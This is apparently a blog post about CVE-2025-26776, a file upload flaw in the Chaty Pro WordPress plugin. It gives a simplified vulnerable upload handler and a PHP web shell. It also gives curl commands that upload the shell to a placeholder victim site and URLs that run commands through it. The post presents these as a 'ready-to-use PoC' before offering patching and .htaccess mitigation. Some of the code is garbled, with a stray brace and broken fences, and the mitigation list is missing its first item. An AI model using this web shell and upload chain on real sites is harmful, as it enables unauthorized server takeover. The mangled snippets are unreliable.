CVE-2025-26776 - How a File Upload Flaw in Chaty Pro Lets Attackers Take Over Your Server

In early 2025, a critical security flaw was discovered in Chaty Pro, a popular WordPress plugin developed by NotFound. This vulnerability, tracked as CVE-2025-26776, is classified as Unrestricted Upload of File with Dangerous Type. In simple terms, this means anyone could upload malicious files—like web shells—into the server, potentially gaining full control over the website.

If you’re running Chaty Pro versions up to 3.3.3, your WordPress site is at risk unless you update or apply a patch. In this post, we’ll discuss what this vulnerability is, how attackers can exploit it, and what you should do to protect your site.

What is CVE-2025-26776?

CVE-2025-26776 is a security weakness in the file upload functionality of Chaty Pro. Normally, plugins should check if the uploaded file is safe and not something like a .php or .exe file. However, due to improper validation in Chaty Pro, attackers can upload dangerous files. Once uploaded, these files can be run by visiting their URL, giving an attacker full control over the site.

Affected versions: All versions of Chaty Pro up to 3.3.3

- Patched version: Update as soon as a patch is released (Check Chaty Pro official site for updates)

Technical Details

The vulnerability is in the file upload handler of Chaty Pro. The plugin fails to properly restrict file types and doesn’t validate uploaded file content. This allows an attacker to upload a PHP web shell or other executable code.

Vulnerable code simplified

if (isset($_FILES['file'])) {
    $upload_dir = wp_upload_dir();
    $upload_file = $upload_dir['path'] . '/' . basename($_FILES['file']['name']);
    // Dangerous: no file type check
    move_uploaded_file($_FILES['file']['tmp_name'], $upload_file);
}

What’s wrong?

There’s no filter for harmful file extensions (like .php, .phtml, etc). As a result, attackers can upload and execute scripts on the server.

`php

// shell.php

system($_REQUEST['cmd']);

}
?>

`bash

curl -F "file=@shell.php" https://victim.com/wp-content/plugins/chaty-pro/upload.php

`

*Note: The actual upload endpoint may differ. Attackers use web proxies or code review to find the upload handler.*

`

https://victim.com/wp-content/uploads/2025/06/shell.php

`

https://victim.com/wp-content/uploads/2025/06/shell.php?cmd=whoami

Here’s a ready-to-use PoC (for educational purposes *only*)

curl -F "file=@shell.php" https://targetsite.com/wp-content/plugins/chaty-pro/upload.php

Then, access:
https://targetsite.com/wp-content/uploads/2025/06/shell.php?cmd=ls

That’s it — the attacker now owns your server.

References

- NVD Entry for CVE-2025-26776
- Chaty Pro on WordPress.org
- OWASP: Unrestricted File Upload

Update as soon as a new version is available.

2. If you can’t update, disable the plugin or limit file upload permissions using web server rules (e.g., .htaccess).

Example .htaccess block

<FilesMatch "\.(php|phtml|php3|php4|php5)$">
    Order deny,allow
    Deny from all
</FilesMatch>

Conclusion

CVE-2025-26776 is a serious flaw that makes it easy for hackers to take over vulnerable WordPress installs running Chaty Pro. If you use this plugin, patch as soon as possible. Remember, unrestricted uploads are among the most dangerous vulnerabilities for any web platform. Stay vigilant and keep your plugins updated!


*For security professionals: test only with proper authorization.*

Timeline

Published on: 02/22/2025 16:15:32 UTC